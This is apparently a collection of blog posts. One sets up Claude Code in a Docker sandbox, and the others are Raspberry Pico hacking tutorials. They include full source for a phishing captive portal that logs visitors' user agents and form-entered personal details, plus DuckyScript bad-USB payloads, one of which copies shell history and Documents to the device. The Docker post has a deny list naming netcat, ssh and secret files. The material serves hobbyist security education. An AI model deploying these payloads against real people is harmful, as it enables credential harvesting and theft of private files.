In 2024, the evolution of Large Language Models and their utilization in software applications and webpage interfaces started. The GPT-4 model from OpenAI showed unparalleled capabilities for text generation and information assembly. In 2026, two trends merged: The continued evolution of model complexity and capabilities, as well as sophisticated frameworks and libraries that greatly enhanced agentic capabilities of LLM invocation.

Using LLMs as agents once was effectively a continued human-in-the-loop invocation where function calls needed to be monitored and corrected. But now, truly autonomous agents evolved. They apply function calling and function execution precisely, analyze errors and apply solutions when needed. They can fully interact with files and sockets on a computer, making autonomous code generation and even system operations a reality.

On the forefront of agentic tools is the CLI tool Claude Code. It promises and delivers excellent code generation capabilities, supporting developers of all maturity levels with increased productivity.

This article starts a new blog series about agentic tools, and starts with exploring the Claude Code CLI systematically. The particular focus for this article is the installation and initial configuration of Claude Code. Learn how to use a Docker container as a safe sandbox with fine-grained permissions and access only to files that you will work on.

The technical context of this article is claude_code v2.1.91, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.

Every character, number, and symbol in this article was typed manually - with the addition of verbose copies from log messages and screenshots. While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill.

This article originally appeared at my blog admantium.com.

Docker Container Setup

Claude Code is an agentic tool with full support for creating, editing, and deleting any files on a computer or laptop. It can be installed natively via an install script, which essentially copies a platform-specific binary and required libraries, or as an NPM packages and its requirements.

To prevent accidental file modifications on your main computer, I recommend to setup a Docker image and start a Docker container that mounts your specific directories.

Directory Structure

Setup the following directory and file structure:

.
├── Dockerfile
├── build
│   ├── managed-settings.json

Dockerfile

The Docker image has these features:

Based on the official NodeJS LTS image
Installs claude-code as an NPM package
Copies default security permissions
Runs as a non-root user that can become root with a dedicated password

Here is the file:

FROM node:24-trixie

WORKDIR /opt/claude

RUN apt-get update \
  && apt-get install --no-install-recommends --yes \
    bubblewrap \
    nano \
    socat \
    sudo \
    vim \
  && rm -rf /var/lib/apt/lists/*

RUN npm install -g @anthropic-ai/claude-code@2.1.91 \
  && mkdir -p /etc/claude-code

ARG SUDO_PASSWORD
RUN echo "node:${SUDO_PASSWORD}" | chpasswd
RUN usermod -aG sudo node

COPY build/ /etc/claude-code/

ENV PATH="/home/node/.local/bin:${PATH}"
USER node
CMD ["sleep", "infinity"]

Use this Dockerfile as a staging point. If you are developing a Python, Go, or Rust project, add the required libraries and base tools to this file.

Permissions

When Claude Code starts, a permission dialog for the current folder is opened. By confirming this, read access to all files in this folder is provided. From there on, all tool invocations, from bash commands to binaries, need to be approved too. Certain commands can accidently expose files that contains secrets, run commands that print environment variables, or access network and Docker sockets.

To prevent this access, a permission file can be used. This file should be placed at an OS specific directory so that it provides global rules for all Claude Code sessions. In a Linux environment, the permission file should be placed at the location /etc/claude-code/managed-settings.json.

Paste the following content to prevent accidental exposure of common secrets, and reduce model invocation calls for telemetry.

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "allow_remote_sessions": false,
  "attribution": {
    "commit": "",
    "pr": ""
  },
  "env": {
    "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1"
  },
  "permissions": {
    "deny": [
      "Bash(env*)",
      "Bash(netstat*)",
      "Bash(printenv*)",
      "Bash(ssh*)",
      "Bash(ss*)",
      "Bash(nc*)",
      "Bash(ncat*)",
      "Bash(netcat*)",
      "Read(**/.env*)",
      "Read(**/.git-credentials*)",
      "Read(**/.gitconfig*)",
      "Grep(**/.env*)",
      "Grep(**/.git-credentials*)",
      "Grep(**/.gitconfig*)",
      "Read(**/.bashrc*)",
      "Read(**/.zshrc*)",
      "Grep(**/.bashrc*)",
      "Grep(**/.zshrc*)",
      "Read(**/.bash_history*)",
      "Read(**/.zsh_history*)",
      "Grep(**/.bash_history*)",
      "Grep(**/.zsh_history*)",
      "Read(**/.ssh/**)",
      "Grep(**/.ssh/**)",
      "Read(/proc/**)",
      "Read(/proc*)",
      "Grep(/proc/**)",
      "Grep(/proc*)",
      "Read(**/*.sock)",
      "Grep(**/*.sock)",
      "Read(/run/docker.sock)",
      "Read(/var/run/docker.sock)"
    ]
  }
}

Building the Container

Build the container with the following command. A random password will be created for the default user node in order to prevent unobserved privilege escalation:

 docker build . \
  --build-arg SUDO_PASSWORD=$(LC_CTYPE=C tr -cd '[:alnum:]' </dev/urandom | head -c 10) \
  --tag claude-code-local:2.1.91

Take a good look at the build log, it reveals the generated password. Note it down.

Docker Container Usage

Starting the Container

When the Docker image is built, you can start it with the preferred mount directory as follows:

docker run --rm \
  --mount type=bind,src=./,dst=/opt/claude \
  --detach \
  --name claude-code-local \
  claude-code-local:2.1.91

Claude code persists session, memory, and global settings in the local ~/.claude directory. If you wish to keep these settings, you need to create and mount this directory to the container.

In a local terminal:

mkdir -p ~/.claude/

Then, start the container with the additional mount. If you have the container still running, you need to stop it first with docker stop claude-code-local

docker run --rm \
  --mount type=bind,src=./,dst=/opt/claude \
  --mount type=bind,src="${HOME}/.claude",dst=/home/node/.claude \
  --detach \
  --name claude-code-local \
  claude-code-local:2.1.91

Starting a Claude Code session

Model Configuration

During the first startup of the container, you need to authenticate with an LLM provider. In addition to using an Anthropic account, LLM routers such as openrouter or litellm can be used to gain access to any LLM provider, including Azure, Google, Ollama, and others.

You can also use your GitHub Co-Pilot subscription - which is shown here. Run the following command to exec into the container:

docker exec -it claude-code-local bash

Then, install and run the helper library copilot-api.

npx copilot-api@latest start --proxy-env
Need to install the following packages:
copilot-api@0.7.0
Ok to proceed? (y) y
ℹ Using VSCode version: 1.113.0
ℹ Not logged in, getting new access token
ℹ Please enter the code "9A4A-9DB1" in https://github.com/login/device

Open the link, login with your GitHub credentials, and paste the OTP code. Shortly afterwards, you should see which LLM models are selectable for your session.

Available models:
- claude-opus-4.6-fast
- claude-opus-4.6
- claude-sonnet-4.6
- gemini-3.1-pro-preview
- goldeneye-free-auto
- gpt-5.2-codex
- gpt-5.4
- raptor-mini-tertiary
- gpt-5-mini
- gpt-4o-mini-2024-07-18
- gpt-4o-2024-11-20
- gpt-4o-2024-08-06
- grok-code-fast-1
- text-embedding-3-small
- text-embedding-3-small-inference
- claude-haiku-4.5
- gpt-4.1-2025-04-14
- oswe-vscode-prime
- oswe-vscode-secondary
- gpt-41-copilot
- gpt-3.5-turbo-0613
- gpt-4
- gpt-4-0613
- gpt-4-0125-preview
- gpt-4o-2024-05-13
- gpt-4-o-preview
- gpt-4.1
- gpt-3.5-turbo
- gpt-4o-mini
- gpt-4
- gpt-4o
- gpt-4-o-preview
- text-embedding-ada-002

➜ Listening on: http://localhost:4141/ (all interfaces)

Finally, create ~/.claude/settings.json and paste the following content. Be sure to set a model mapping to your liking. Anthropics distinction into Haiku, Sonnet, and Opus needs to be mapped to available GitHub Co-Pilot models.

{
  "env": {
    "ANTHROPIC_BASE_URL": "http://localhost:4141",
    "ANTHROPIC_AUTH_TOKEN": "not-required",
    "ANTHROPIC_DEFAULT_OPUS_MODEL ": "claude-opus-4.6",
    "ANTHROPIC_DEFAULT_SONNET_MODEL ": "claude-sonnet-4.6",
    "ANTHROPIC_DEFAULT_HAIKU_MODEL": "claude-haiku-4.5",
  }
}

Session Start

And finally, you can start a Claude code session. Exec into the Docker container, which automatically jumps to the defined directory /opt/claude with your mounted project.

claude

The opening dialog starts ...

And once confirmed, you can start your session.

Conclusion

Claude Code is one of the most prominent agentic tools for code generation. This article starts a new series to systematically explore its CLI tools, slash commands, and use-cases. You learned how to setup a Claude Code in a Docker container, which provides a sandboxed environment into which you mount specific local directories. You saw the Dockerfile, a managed settings permission files that restricts access to sensitive data and environments, and learned the commands to build, start, and use the Docker container. From the many options of LLM providers, GitHub CoPilot was chosen. The next article continues with the exploration of its CLI commands.

Hacking with Raspberry Pico: Data Exfiltration with a Captive Portal

Sebastian — Thu, 28 May 2026 04:46:34 +0000

The Raspberry Pico microcontroller is a stunning device that can be employed in several application areas, from reading sensor data, drawing pixels on a screen, and consuming APIs. Its small form factor, enough hardware power, and programmable behavior contribute equally. But did you know that the Pico can be used for hacking as well?

This article shows how to create a captive portal that runs on a Raspberry Pico W. A captive portal is an informal way with which client devices connect to local WiFi with the intention to gain full access to the internet. Since clients connect unsolicited to these portals, and because the user provides some amount of personal information, several exploits can be engineered. Creating a captive portal is surprisingly easy with the right software and the knowledge which clients require which URLs. You will learn both aspects in this article.

This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.

The technical context for this article is MicroPython v1.23.0 and the webserver/webpage templating library phew v0.0.3. The examples should work with newer versions too, but might require some code changes.

The initial idea for this topic was sparked by an excellent article in the German computer magazine CT 2023/27 titled "Raspberry Hacking: Phishing Hotspot". The article itself cannot be accessed, but its link collection is available on the public internet.

This article originally appeared at my blog admantium.com.

Required Hardware

As with several other microcontroller projects, the required bill of materials is short and concise:

Raspberry Pico W (model 1 and 2)

What is a Captive Portal?

A captive portal is a WiFi hotspot to which client devices connect autonomously. Typically, you encounter these portals in public spaces, cafes or hotels. For a not registered device, HTTP redirects and DNS redirects force the device to open the portal landing page. This page typically shows branded information and advertisement, and a form asking for personal details and agreement to the service usage. Once accepted, the portal puts the clients MAC address into an allowlist, and full internet access is granted.

In this process, several exploits can be placed.

Device sniffing: The captive portal opens a device specific workflow, and some devices may make hotspot requests unsolicited. This can be used to passively grab device metadata.
Information dissemination: The portals landing page is shown to the client without restrictions, it can provide unsolicited information.
Information stealing: A branded website fake might induce users to provide personal information.
Man in the Middle: The portal controls HTTP requests. The ruleset of HTTP and DNS redirects that are enforced on new clients can be used for traffic shaping and interception.

MicroPython and Library Setup

To program the portal, the Pico needs to be flashed with MicroPython and include an external library. The concrete steps are:

Download the latest MicroPython distribution for the Raspberry Pico W
Connect the Pico to your computer, hold down the bootsel button, and put the Pico into USB mode
Drag and drop the MicroPython UF2 image to the Pico

The Pico reboots itself. Then, open the Thonny IDE, configure the interpreter to "MicroPython (Raspberry Pi Pico)", and select your connected board. Using Thonny's file explorer, you can add the required library.

Go to the phew library GitHub project, and either download the latest release or the projects current code base from the main branch
Create the folder lib, and then copy the phew source code into this directory
Create an empty file called __init__.py inside the lib folder

The resulting file structure should look like this:

Programming the Captive Portal

Similar to the well-known framework Flask, phew simplifies web application development. With just a few lines of code, combining annotations and plain Python functions, handlers for specific HTTP requests can be created. While this blog article is not an exploration of this framework itself, it will cover most of its functions nevertheless, but geared towards creating a captive portal.

The following code starts a local access point and a webserver that responds to the default route / with a text message. All other requests will be responded with the status code 404.

from phew import server
from phew import access_point

SSID = "Guest WiFi"

@server.route("/", methods=["GET", "POST"])
def start_portal(request):
  return "Hello from Raspberry Pico", 200, "text/html"

@server.catchall()
def catchall(request):
  return "Not found", 404

print("starting ...")

ap = access_point(SSID)
ip = ap.ifconfig()[0]
print(f"access point ip: #{ip}")

server.run()

To run this code, you can create a main.py file in the projects root directory with this code as its content, or just click on the Run button. Once the script is started, the local endpoint becomes available. Connect to it, then open http://192.168.4.1 in your browser.

The Thonny terminal prints a simplified access log:

starting ...
access point ip: #192.168.4.1
2024-09-29 15:07:56 [info     / 162kB] > starting web server on port 80
2024-09-29 15:08:58 [info     / 153kB] > GET / (200 OK) [284ms]
2024-09-29 15:08:58 [info     / 162kB] > GET /favicon.ico (404 Not Found) [29ms]
2024-09-29 15:09:42 [info     / 155kB] > GET /menu.html (404 Not Found) [278ms]

Rendering a Web Page

Phew also supports templated web pages. Let’s use this feature to show a web page with a form asking for the users e-mail address and name.

In the Pico’s filesystem, create the file www/index.html with this content:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>{{ title }}</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <h1>{{ title }}</h1>
    <form action="#" method="post">
        <label for="email">Email:</label><br>
        <input type="email" id="email" name="email" required><br><br>

        <label for="name">Name:</label><br>
        <input type="text" id="name" name="name" required><br><br>

        <label for="surname">Surname:</label><br>
        <input type="text" id="surname" name="surname" required><br><br>

        <input type="checkbox" id="agree" name="agree" required>
        <label for="agree">I agree to the terms and conditions</label><br><br>

        <input type="submit" value="Submit">
    </form>
</body>
</html>

Now, in the phew app, change the source code to include the template and forward the title parameter. Change the start_portal method as shown:

from phew import template

PATH = "www/"

@server.route("/index.html", methods=["GET", "POST"])
def start_portal(request):
  return template.render_template(PATH + "index.html", title="Guest Wifi")

The template is rendered - but without any styling, this looks rather untrustworthy.

Serving CSS

Let’s add additional styling. Create the file www/style.css with this content:

body {
    display: flex;
    justify-content: center;
    align-items: center;
    flex-direction: column;
    height: 100vh;
    margin: 0;
    background-color: #f0f0f0;
}
.box>*:first-child {
  align-self: stretch;
}
.form-container {
    width: 400px;
    height: 400px;
    padding: 20px;
    margin-top: 50px;
    background-color: #ffffff;
    box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
    border-radius: 8px;
}
input[type="text"],
input[type="email"] {
    width: 100%;
    padding: 8px;
    margin-bottom: 5px;
    border: 1px solid #ccc;
    border-radius: 4px;
}
input[type="checkbox"] {
    margin-right: 5px;
}
input[type="submit"] {
    width: 100%;
    padding: 10px;
    background-color: #007bff;
    color: white;
    border: none;
    border-radius: 4px;
    cursor: pointer;
}
input[type="submit"]:hover {
    background-color: #0056b3;
}

To serve the CSS, a new route is required too:

@server.route("/style.css", methods=["GET", "POST"])
def style(request):
  return server.Response(template.render_template(PATH + "style.css"), 200, {"Content-Type": "text/css"})

Now the site looks like a proper portal:

Client-Specific Routes

Each client device - Android phones, iPhones, Windows/Linux/OsX laptops, require specific URL paths and expects a specific status code to "negotiate" with the captive portal.

According to the original article that provided the idea, and the Wikipedia page, the following rules need to be kept:

OsX: /hotspot-detect.html with the plain text content "Success"
Android: /generate_204 with status code 204 and no content
Windows: /redirect with no content, and two routes that are accessed to test if the connected hotspot is a captive portal: /connecttest.txt with the plain text content "Microsoft Connect Test", and /ncsi.txt with "Microsoft NCSI" to cover current and past Windows versions,
Linux: For gnome-based desktops /check_network_status.txt with the plain text message "NetworkManager is online", and for KDE that’s / with OK

During tryout with Android and OsX, I found that returning the mentioned text content is not important, the presence of the route is sufficient. Also, browsers might request additional routes, for example a Firefox browser tries to resolve /canonical.html. However, if this route is not present, it also does not interfere with the portal workflow process.

Therefore, to implement the captive portal functions, a redirect to the portal landing page is implemented for the main routes, and other routes jus return a positive status code.

@server.route("/hotspot-detect.html", methods=["GET"])
@server.route("/generate_204", methods=["GET"])
@server.route("/redirect", methods=["GET"])
@server.route("/check_network_status.txt", methods=["GET"])
def hotspot(request):
    return server.redirect(f"http://{DOMAIN}/", 302)

@server.route("/ncsi.txt", methods=["GET"])
@server.route("/connecttest.txt", methods=["GET"])
def hotspot_connecttest(request):
    return "", 200

Credential Grabbing Exploit

With all aspects implemented, the final part is to add the information stealing exploit. The device shall create logfiles containing the request user agent, and another file that stores the filled in form data.

First, the method to create a logfile is implemented. In the current MicroPython version, it is not possible to open a file and append text to it. Therefore, a new logfile will be created, with its timestamp as the filename. The following method prints its message and all key-value pairs of the provided dict object. Also note the explicit sleep commands - I had some cases where files would not be created properly, waiting between opening and closing helped.

def log_to_file(msg, request):
    timestamp = "".join([str(c) for c in list(localtime())])
    filename = LOG_PATH + timestamp + ".txt"

    sleep(0.3)
    with open(filename, "w") as file:
        file.write(msg + "\n")
        for key, value in request.items():
            file.write(f"{key}: {value}\n")
    sleep(0.3)
    return None

The user-agent will be grabbed whenever one of the hotspot routes is accessed. Add a function call off log_to_file as shown in the following.

# ...
def hotspot(request):
    log_to_file("hotspot", {"path": request.path, "user-agent":request.headers["user-agent"]})
    return server.redirect(f"http://{DOMAIN}/", 302)

#...
def hotspot_connecttest(request):
    log_to_file("connect_test", {"path": request.path, "user-agent":request.headers["user-agent"]})
    return "", 200

The login form requires all fields to be filled out, and then makes a POST request. Inside the corresponding handler function, the form data will be logged, and then a simple HTML page rendered.

@server.route("/login", methods=["POST"])
def login(request):
  log_to_file("Login Data ", request.form)

  return template.render_template(PATH + "success.html", title="Success")

The HTML code for the success page is as follows:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>{{ title }}</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <h1>{{ title }}</h1>
    <p>Thank you for registering. You are connected to the WiFi.</p>
</body>
</html>

Bring the hotspot online, and after some time, the logfiles will pile up.

The files are stored on the device itself. For remote access, a secret route, password protected, could be implemented, but I will leave this as an exercise.

Complete Source Code

Here is the complete handler source code:

from phew import server
from phew import access_point
from phew import template
from phew import dns
from time import localtime, sleep

SSID = "Guest WiFi"
PATH = "www/"
LOG_PATH = "log/"
DOMAIN = "hot.spot.com"

@server.route("/hotspot-detect.html", methods=["GET"])
@server.route("/generate_204", methods=["GET"])
@server.route("/redirect", methods=["GET"])
@server.route("/check_network_status.txt", methods=["GET"])
def hotspot(request):
    log_to_file("hotspot", {"path": request.path, "user-agent":request.headers["user-agent"]})
    return server.redirect(f"http://{DOMAIN}/", 302)

@server.route("/ncsi.txt", methods=["GET"])
@server.route("/connecttest.txt", methods=["GET"])
def hotspot_connecttest(request):
    log_to_file("connect_test", {"path": request.path, "user-agent":request.headers["user-agent"]})
    return "", 200

@server.route("/", methods=["GET", "POST"])
def start_portal(request):
  return template.render_template(PATH + "index.html", title="Guest WiFi")

@server.route("/login", methods=["POST"])
def login(request):
  data = {"user-agent":request.headers["user-agent"]}
  data.update(request.form)
  log_to_file("Login Attempt ", data)
  return template.render_template(PATH + "success.html", title="Success")

@server.route("/style.css", methods=["GET", "POST"])
def style(request):
  return server.Response(template.render_template(PATH + "style.css"), 200, {"Content-Type": "text/css"})

@server.catchall()
def catchall(request):
    return "Not found", 404

def log_to_file(msg, request):
    timestamp = "".join([str(c) for c in list(localtime())])
    filename = LOG_PATH + timestamp + ".txt"
    print(filename)

    sleep(0.3)
    with open(filename, "w") as file:
        file.write(msg + "\n")
        for key, value in request.items():
          file.write(f"{key}: {value}\n")
    sleep(0.3)
    return None

print("starting captive portal ...")

ap = access_point(SSID)
ip = ap.ifconfig()[0]
dns.run_catchall(ip)
print(f"access point ip: #{ip}")

server.run()

Follow Up & Related Projects

To improve this project, two aspects come to my mind. First, adding a SSL certificate to ensure an encrypted connection. The phew library itself has no support for certificates, but there is TLS support in MicroPython with the SSL/TLS module. However, this would mean to rewrite the framework to support TLS as well. And the second aspect is to remove the DNS redirects once a client acknowledged the conditions on the landing page. However, this is also not a use case of the phew library.

Exploring other projects, the idea to implement a captive portal with the Pico W gained some traction in the open-source community.

Wifimanager Pico: A standalone GitHub project, it creates a captive portal with a clean UI. The first step is to define the designated WiFi network for which the captive portal stores its credentials. Upon first connection, it will scan all neighboring networks, and the user selects the target and enters the credentials. When the captive portal can connect to the target successfully, its credentials are stored. Then, all new devices that connect will get the stored credentials. It would be interesting to see if information stealing and man in the middle attacks could be realized.
PicoW Captive Portal: This guide contains valuable information about the specific behavior of clients regarding captive portal webpage URLs and expected status codes. It details how recent Android smartphones, iPhones, Windows and OsX laptops search a captive portal for their credentials. This article continues to implement a captive portal also using the phew project.
phewAP: An example project using phew to implement a captive portal, showing other features such as how to access the Pico’s hardware to make the onboard LED blink when a button on a webpage is pressed.

Conclusion

A captive portal is a WiFi hotspot typically encountered at Cafes or hotels. A portal uses HTTP and DNS redirects to emerge upon a landing page. Typically, personal information and acknowledgement of usage conditions is requested on this page, and when acknowledged by the user, full access to the internet is provided. This article showed how to implement a captive portal on the Raspberry Pico W Microcontroller. You learned how to setup the Pico with MicroPython and the phew library, saw how to implement HTTP routes that mimic a captive portal, and understood how to extract device metadata during connection attempts and store personal information that users enter on the landing page.

Hacking with Raspberry Pico: Terminal Text Injection and File Stealing

Sebastian — Mon, 18 May 2026 03:52:36 +0000

The Raspberry Pico is a small form factor microcontroller used in several application areas: DIY sensor capture, controlling screens, and even for hacking. With full access to its USB stack via MicroPython/CircuitPython and an additional library, the Pico can be programmed as a physical hacking device. It will act as an USB HID or storage device, but inject keystrokes into the host system.

In my previous article USB Hacking Device Programming, I showed how to setup the Pico and run an example exploit script: opening a text editor on a Linux computer and write a text message. Working on this project, I realized that the script is written in DuckyScript. The curiosity about this language, understanding its capabilities and the exploits that can be implemented, led me to investigate it further and write a concise language introduction.

And in this final article, practical exploits are developed. The exploits use the pico-ducky library, an interpreter for DuckyScript.

This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.

The technical context for this article is CircuitPython v9.1.4 and pico-ducky commit #221e796. The examples should work with newer releases too, but might require some code changes.

This article originally appeared at my blog admantium.com.

Exploit 1: Terminal Text Injection

The goal of the first exploit is to scare the user by opening a text terminal. Instead of just blind injecting the keystrokes, it will delay its execution, and assure that no special keys are activated - as an attempt to gauge that the user is not present

Requirements

Waiting for a fixed amount of time
Wait that no LED keys are pressed on the host
Open a new terminal
Inject a message

Learnings and Limitations

During implementation of this exploit, I learned the following:

A global variable cannot be used as an argument to the DELAY function
The commands to generate random characters and numbers, like RANDOM_NUMBER, are not supported
The WAIT_FOR_CAPS_OFF and similar commands are not processed, the script execution just continues
The HOLD and RELEASE commands work as normal keystrokes only
Inserting a not supported command at the end of the script stops the script execution - my choice is simple a STOPP on the last line

Implementation

With these limitations, the exploit will merely wait for a fixed amount of time, and then execute once. As a bonus, a function is added that prints a . on the screen with a fixed delay.

REM Target: OsX
REM Exploit: open text editor and write a message

FUNCTION SCARE()
    STRING Hello World!
    VAR $TIMER = 10
    WHILE ($TIMER > 0)
        STRING .
        $TIMER = ($TIMER - 1)
        DELAY 500
    END_WHILE
END_FUNCTION

DELAY 5000
GUI SPACE
DELAY 1000
STRING Terminal.app
DELAY 1000
ENTER
DELAY 1500
SCARE()
STOP

Exploit 2: File Stealing

The second exploit is built around the feature that the Pico itself can function as an USB device on the host. When inserted, it will act as both a HID and USB storage device. It will then use the hosts native scripting language to identify the home directory of its user, fetch known files, and copy them to itself.

Requirements

Connect the device as HID and storage
Wait a fixed amount of time
Start a series of bash commands:
- Open a terminal
- Determine the likely mount path of the Pico
- Access the host user document folder
- Search and copy known file names
Disconnect the USB device or hide the copied files

Learnings and Limitations

Several more limitations became apparent during working on this sketch:

The Pico W defaults to HID only mode. To turn it into an USB device, you need to modify the Pico ducky code. In boot.py and code.py, change all conditional checks for the Raspberry Pico W to a False value, e.g. replacing raspberry_pi_pico_w with raspberry_pi_pico. Note that this will disable the WIFI hotspot too.
There is no support for the ATTACK_MODE configuration, you cannot dynamically switch between HID only and USB storage mode, and therefore not disconnect the USB drive with a script. However, you could modify the libraries source code so that after the script execution, the function call storage.disable_usb_drive() is executed.
When chaining multiple bash commands together, which will take some execution time, using DELAY become a mandatory command
You cannot use the STRINGLN command
You need to customize the keyboard layout to match the target computers layout, see Changing Keyboard Layouts in the official documentation

Implementation

The following implementation assumes that the Pico device will get the /dev/disk2 device file. Without the option to disable USB storage, the Pico will connect and stay connected - but the files are copied nevertheless.

REM Target: OsX
REM Exploit: Copy well known files from the user home directory

GUI SPACE
DELAY 1000
STRING iterm.app
ENTER
DELAY 1500
ENTER
STRING export TARGET_PATH=$(df -h| grep /dev/disk2| sed -e 's/.*\(\/Volumes\/.*\)/\1/')
DELAY 1500
ENTER
STRING cp ~/.bash_history $TARGET_PATH
DELAY 1500
ENTER
STRING cp -rv ~/Documents $TARGET_PATH/docs
DELAY 1500
ENTER
STOPP

Conclusion

The Raspberry Pico W can be turned into a physical hacking device with the help of the pico ducky library. This article showed how to implement two exploits: a) scare the user by injecting text into a terminal, b) connect as an USB storage and HID device, then copy well known user files. During implementation, it became apparent that not all DuckyScript commands are supported, which limits the features of exploits. The best approach therefore is to check the duckyinpython.py file for all keywords that are supported, and build an exploit around this. But despite this: Turning the very affordable Raspberry Pico into a prototype hacking device is a great educational experience.

Physical Device Hacking with Ducky Script

Sebastian — Thu, 07 May 2026 05:50:09 +0000

Image source: hak5

Physical hacking of a computer encompasses injection of commands with the target to grab files, install programs, create custom users or gain control. With the programmable Ducky Script USB stick, these exploits can be crafted to target any host system. When inserted, a preprogramed script is executed, written in the Ducky Script language.

This article is a concise introduction to the DuckyScript programming language. Based on the official DuckyScript documentation, it covers the essential commands and overall syntax, from keystrokes to host state management and function definition.

This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.

The technical context for this article is CircuitPython v9.1.4 and Adafruit CircuitPython Bundle v9.x. The examples should work with newer releases too, but might require some code changes.

DuckyScript Program

A DuckyScript program is a line terminated sequence of commands that executes keystrokes on a target computer. The goal of these keystrokes is typically to infiltrate or compromise a system, for example by running commands that start a reverse shell, creating user accounts with root privileges, or downloading and installing malware. Therefore, a DuckyScript program can be thought of the vehicle, and the actual, os-specific exploit, as the transport.

The original DuckyScript programs are compiled into a binary using the Hak5 Payload Studio program. This binary is then uploaded to an USB stick, and executed when the USB stick is connected to a host device

The original hardware is not the only option to run DuckyScripts - several interpreters for different hardware are available in the open source community, including these:

pico ducky: A library for running DuckyScript on the Raspberry Pico microcontroller, using a CircuitPython interpreter.
Potato Parser: A library for running DuckyScript on ESP32 Devices. This Arduino project creates a custom binary with all included libraries.
Flipper BadUSB: A DuckyScript 2.x compatible language that runs on the flipper hacking device.
DucKey-Logger: A special PowerShell based exploit that completely logs all keystrokes and sends them to an online address.

Ducky Script Commands

The DuckyScript commands can be separated into these categories:

Keystrokes: Most commands initiate a single or sequence of keystrokes, including control keys.
Host State Management: Some commands read the systems keyboard state, and can be used as triggers to continue program flow, e.g. waiting for the user to start the screensaver, from which the exploit than resumes
Device State Management: The original rubber duck USB stick features an LED and a button. Commands for these features can turn the LED on or await the press of a button as a trigger
Program Structure & Control: DuckyScript allow the definition of variables and functions, lopping, branches and functions. For integer and boolean values, several operators exist. Finally, the global program state can be reflected and modified.

Keystrokes

Please continue reading this article on my blog admantium.com - I could not get it compiled on dev.to.

Conclusion

DuckyScript is a programming language to initiate keystrokes on a target computer. Essentially, these commands serve as a vehicle to transport an exploit onto a target system. This article provided a compact introduction to the DuckyScript language. You learned about all commands structured into four categories: a) keystrokes, a single or sequence of keys that are executed, b) host state management, commands that check the state of control keys, c) device management, to control the rubber ducks USB stick button and LED , d) program structure & control, defining variables, functions, and using various expressions to compare and modify numbers, strings and boolean values. Reflecting the language design, a striking feature is that the linear, continuous execution can be controlled by waiting for a specific condition on the target system. And with this, an exploit can be applied at the best moment to fulfill its goal.

Raspberry Pico: USB Hacking Device Programming

Sebastian — Mon, 27 Apr 2026 05:05:02 +0000

Small form-factor single board computers and microcontroller are an ubiquitous stack in electronic projects. An interesting application area for these devices is physical hacking, e.g. using an USB connection to a host system to inject commands, gain system access, or steal files. To my surprise, an entry level microcontroller, the Raspberry Pico, can be used for these nefarious tasks.

This article shows how to turn a Raspberry Pico into a USB hacking device, also called bad USB in hacker jargon. The Pico is programmed to execute a set of steps on the target computer once its USB connection is established. You will learn how to setup the Pico with the required Python version and libraries and see a simple example program that runs on a Linux host: Opening a text file, writing a text, and storing the file.

This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.

The technical context for this article is CircuitPython v9.1.4 and Adafruit CircuitPython Bundle v9.x. The examples should work with newer releases too, but might require some code changes.

This article originally appeared at my blog admantium.com.

Required Hardware & Software

For this article, you need a delightfully simple bill-of-materials:

Raspberry Pico or Raspberry Pico W

And for the software:

Connect the Pico to your computer and continue with the setup steps.

Installing Circuit Python and Required Libraries

To turn the Pico into a USB hacking gadget, you first need to install the Circuit Python distribution.

Download the latest version of Circuit Python for the Raspberry Pico or Raspberry Pico W
Hold down the Pico’s BOOTSEL button and connect the Pico to your computer
Drag and drop the Circuit Python firmware to the Pico

With Circuit Python installed, open the Thonny IDE, configure the interpreter as "CircuitPython (generic)" and select the connected Raspberry Pico. This should look like this:

Now you can access the Pico’s filesystem and add the required libraries:

Download the Adafruit Circuit Python bundle for the same major release of Circuit Python that you used before
From the Zip file, copy the following files to the Raspberry Pico with the very same path:

lib/adafruit_hid
lib/adafruit_wsgi
lib/asyncio
adafruit_debouncer.mpy
adafruit_ticks.mpy

The last part is to copy selected files from Pico Ducky.

Download a Zip file of the project, or use git clone
Copy the following files to the Pico’s root directory:

boot.py
code.py
duckyinpython.py

And if you are using a Pico W, additionally copy these files:

secrets.py
webapp.py
wsgiserver.py

The final file layout should like this in the Thonny IDE:

Now you are ready to write your first exploit.

Writing an Exploit

In hacking jargon, an exploit is the execution of intended commands and functions on a computer for a specific goal. The spearhead of bad USB exploits is the scripting language DuckyScript, which is used on special programmable USB sticks.

But thanks to Pico Ducky, these scripts can be run on the Raspberry Pico instead. This libraries code contains an interpreter for DuckyScript, executing Python code instead. According to its develop, you should be able to run any Duck scripts, such as those from the official DuckyScript Payloads GitHub repository.

A coverage of the complete Ducky script language, its syntax and features, is not the scope of this article. But two points need to be mentioned. First, each exploit is specific to an operating system. Second, real world exploits target specific known vulnerabilities of the host for the purpose if infiltration, privilege escalation or malware installation (which is out of scope too). Third, only execute exploits on your own computers, and be aware that you can damage them in the process.

With all this being said, lets stick to an entry level example. Targeting a Linux host system, the script opens the application shortcut menu, opens a text editor, and types a message. The script is as follows:

REM Target: Linux Ubuntu
REM Exploit: open text editor and write a message
ALT F2
STRING gedit
DELAY 1500
ENTER
DELAY 1500
STRING Hello World!
DELAY 3000

As you can infer, these commands correspond to concrete keystrokes (ALT, F4, ENTER), consecutive typing of arbitrary text (STRING), waiting between commands with DELAY and making commands with REM. This script does not have any triggers, so it will run continuously once started.

Running an Exploit

The copied file code.py contains all instructions to run a Pico Duck exploit. It will search and load a file called payload.dd and execute it. Therefore, to run the test exploit, you just need to upload it to the Pico. But be advised again: Only run exploits on your own computers, and be mindful that you can damage the computer in the process.

